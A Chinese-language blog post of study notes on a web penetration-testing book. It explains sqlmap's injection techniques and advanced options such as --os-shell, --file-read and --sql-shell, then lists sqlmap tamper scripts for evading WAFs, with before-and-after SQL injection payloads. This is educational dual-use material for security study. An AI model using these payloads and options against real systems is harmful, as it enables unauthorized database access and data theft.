首页 技术 正文
技术 2022年11月9日
0 收藏 829 点赞 4,042 浏览 13229 个字

Web安全攻防 渗透测试实战指南   学习笔记 (二)

 

第二章  漏洞环境及实践

 《Web安全攻防 渗透测试实战指南》   学习笔记 (二)<img src="data:image/png;base64,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" alt="" /> 这里的环境就不一一介绍了,在后续实验中如果用到的话,我们再详细讲解搭建过程~  

第三章  常用的渗透测试工具

   

  • Sqlmap

                              自动化的sql注入工具。1.主要功能:扫描、发现、利用给定的url的sql注入漏洞,内置许多绕过插件。 2.支持的数据库:mysql、oracle、sql server、access、DB2、sqlite、postgresql、Firebird、sybase、sap maxDB。 3.采用5种注入技术: [1]基于布尔的盲注:根据返回页面判断条件真假[2]基于时间的盲注:使用条件语句查看时间延迟语句是否执行(页面返回时间是否增加)[3]基于报错注入:返回错误信息,或将注入语句的结果返回页面中[4]联合查询注入:在允许使用union的情况下注入[5]堆查询注入:同时执行多条语句注入  4.用法 (1)对于简单的sqlmap用法,本人已经在此篇文章中进行说明 https://www.cnblogs.com/0yst3r-2046/p/10957616.html  (2)进阶的sqlmap用法(参数讲解) 

1>探测等级: –level 5

–level 5 指的是需要执行的测试等级

一共有5个等级(1-5) 不加 level 时,默认是1

5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢。

level=2 http cookie会测试

level=3 http user-agent/referer头会测试

在不能确定哪个payload或参数为注入点时,建议使用高的level值。

2>当前用户是否为管理权限: –is -dba

返回true则为是管理权限,否则不是

3>列出数据库管理员角色: –roles

注意:只适用于当前数据库是oracle的时候

4>HTTP Referer头: –referer

当level设置为3时,会尝试referer注入

也可以使用referer命令来欺骗 例如:

–referer 域名(https://www.baidu.com)

5>运行自定义sql语句:–sql -shell

例如:sqlmap.py -u “http://192.168.1.xxx/sql1/union.php?id=1” –sql -shell

6>运行任意操作系统命令: –os -cmd

–os -shell

用 –os -shell参数可以模拟一个真实的shell,输入想执行的命令

支持asp、asp.net、jsp、php四种语言

7>从数据库服务器中读取文件  –file-read    ” 路径“

8>上传文件到数据库服务器中  –file-write

–file-dest

用于写入本地文件到服务器中,当数据库为mysql、postgresql、microsoft sql server,且当前用户有权限使用特定函数时,上传的文件可以是文本也可以是二进制文件。

6.sqlmap自带绕过脚本tamper的讲解

sqlmap在默认情况下除了使用char()函数防止出现单引号,没有对注入的数据进行修改。

tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。

常用的tamper脚本:

apostrophemask.py

适用数据库:ALL

作用:将引号替换为utf-8,用于过滤单引号

使用脚本前:tamper(“1 AND ‘1’=’1”)

使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

base64encode.py

适用数据库:ALL

作用:替换为base64编码

使用脚本前:tamper(“1′ AND SLEEP(5)#”)

使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

multiplespaces.py

适用数据库:ALL

作用:围绕sql关键字添加多个空格

使用脚本前:tamper(‘1 UNION SELECT foobar’)

使用脚本后:1 UNION SELECT foobar

space2plus.py

适用数据库:ALL

作用:用加号替换空格

使用脚本前:tamper(‘SELECT id FROM users’)

使用脚本后:SELECT+id+FROM+users

nonrecursivereplacement.py

适用数据库:ALL

作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)

使用脚本前:tamper(‘1 UNION SELECT 2–‘)

使用脚本后:1 UNIOUNIONN SELESELECTCT 2–

space2randomblank.py

适用数据库:ALL

作用:将空格替换为其他有效字符

使用脚本前:tamper(‘SELECT id FROM users’)

使用脚本后:SELECT%0Did%0DFROM%0Ausers

unionalltounion.py

适用数据库:ALL

作用:将union allselect 替换为unionselect

使用脚本前:tamper(‘-1 UNION ALL SELECT’)

使用脚本后:-1 UNION SELECT

securesphere.py

适用数据库:ALL

作用:追加特定的字符串

使用脚本前:tamper(‘1 AND 1=1’)

使用脚本后:1 AND 1=1 and ‘0having’=’0having’

space2dash.py

适用数据库:ALL

作用:将空格替换为–,并添加一个随机字符串和换行符

使用脚本前:tamper(‘1 AND 9227=9227’)

使用脚本后:1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227

space2mssqlblank.py

适用数据库:Microsoft SQL Server

测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005

作用:将空格随机替换为其他空格符号(‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)

使用脚本前:tamper(‘SELECT id FROM users’)

使用脚本后:SELECT%0Eid%0DFROM%07users

between.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:用NOT BETWEEN 0 AND #替换>

使用脚本前:tamper(‘1 AND A > B–‘)

使用脚本后:1 AND A NOT BETWEEN 0 AND B–

percentage.py

适用数据库:ASP

测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0

作用:在每个字符前添加一个%

使用脚本前:tamper(‘SELECT FIELD FROM TABLE’)

使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

sp_password.py

适用数据库:MSSQL

作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password

使用脚本前:tamper(‘1 AND 9227=9227– ‘)

使用脚本后:1 AND 9227=9227– sp_password

charencode.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)

使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)

使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

randomcase.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:随机大小写

使用脚本前:tamper(‘INSERT’)

使用脚本后:INseRt

charunicodeencode.py

适用数据库:ASP、ASP.NET

测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3

作用:适用字符串的unicode编码

使用脚本前:tamper(‘SELECT FIELD%20FROM TABLE’)

使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

space2comment.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:将空格替换为/**/

使用脚本前:tamper(‘SELECT id FROM users’)

使用脚本后:SELECT/**/id/**/FROM/**/users

equaltolike.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5

作用:将=替换为LIKE

使用脚本前:tamper(‘SELECT * FROM users WHERE id=1’)

使用脚本后:SELECT * FROM users WHERE id LIKE 1

equaltolike.py

测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:将>替换为GREATEST,绕过对>的过滤

使用脚本前:tamper(‘1 AND A > B’)

使用脚本后:1 AND GREATEST(A,B+1)=A

ifnull2ifisnull.py

适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)

测试通过数据库:MySQL 5.0 and 5.5

作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤

使用脚本前:tamper(‘IFNULL(1, 2)’)

使用脚本后:IF(ISNULL(1),2,1)

modsecurityversioned.py

适用数据库:MySQL

测试通过数据库:MySQL 5.0

作用:过滤空格,使用mysql内联注释的方式进行注入

使用脚本前:tamper(‘1 AND 2>1–‘)

使用脚本后:1 /*!30874AND 2>1*/–

space2mysqlblank.py

适用数据库:MySQL

测试通过数据库:MySQL 5.1

作用:将空格替换为其他空格符号(‘%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)

使用脚本前:tamper(‘SELECT id FROM users’)

使用脚本后:SELECT%0Bid%0DFROM%0Cusers

modsecurityzeroversioned.py

适用数据库:MySQL

测试通过数据库:MySQL 5.0

作用:使用内联注释方式(/*!00000*/)进行注入

使用脚本前:tamper(‘1 AND 2>1–‘)

使用脚本后:1 /*!00000AND 2>1*/–

space2mysqldash.py

适用数据库:MySQL、MSSQL

作用:将空格替换为 — ,并追随一个换行符

使用脚本前:tamper(‘1 AND 9227=9227’)

使用脚本后:1–%0AAND–%0A9227=9227

bluecoat.py

适用数据库:Blue Coat SGOS

测试通过数据库:MySQL 5.1,、SGOS

作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=

使用脚本前:tamper(‘SELECT id FROM users where id = 1’)

使用脚本后:SELECT%09id FROM users where id LIKE 1

versionedkeywords.py

适用数据库:MySQL

测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11

作用:注释绕过

使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)

使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

halfversionedmorekeywords.py

适用数据库:MySQL < 5.1

测试通过数据库:MySQL 4.0.18/5.0.22

作用:在每个关键字前添加mysql版本注释

使用脚本前:tamper(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)

使用脚本后:value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa’=’QDWa

space2morehash.py

适用数据库:MySQL >= 5.1.13

测试通过数据库:MySQL 5.1.41

作用:将空格替换为#,并添加一个随机字符串和换行符

使用脚本前:tamper(‘1 AND 9227=9227’)

使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

apostrophenullencode.py

适用数据库:ALL

作用:用非法双字节Unicode字符替换单引号

使用脚本前:tamper(“1 AND ‘1’=’1”)

使用脚本后:1 AND %00%271%00%27=%00%271

appendnullbyte.py

适用数据库:ALL

作用:在有效载荷的结束位置加载null字节字符编码

使用脚本前:tamper(‘1 AND 1=1’)

使用脚本后:1 AND 1=1%00

chardoubleencode.py

适用数据库:ALL

作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)

使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)

使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

unmagicquotes.py

适用数据库:ALL

作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格

使用脚本前:tamper(“1′ AND 1=1”)

使用脚本后:1%bf%27 AND 1=1–

randomcomments.py

适用数据库:ALL

作用:用注释符分割sql关键字

使用脚本前:tamper(‘INSERT’)

使用脚本后:I/**/N/**/SERT

 https://blog.csdn.net/a_small_rabbit/article/details/101110011   参考资料:

《Web安全攻防 渗透测试实战指南》

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,116
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,588
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,433
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,204
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,840
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,925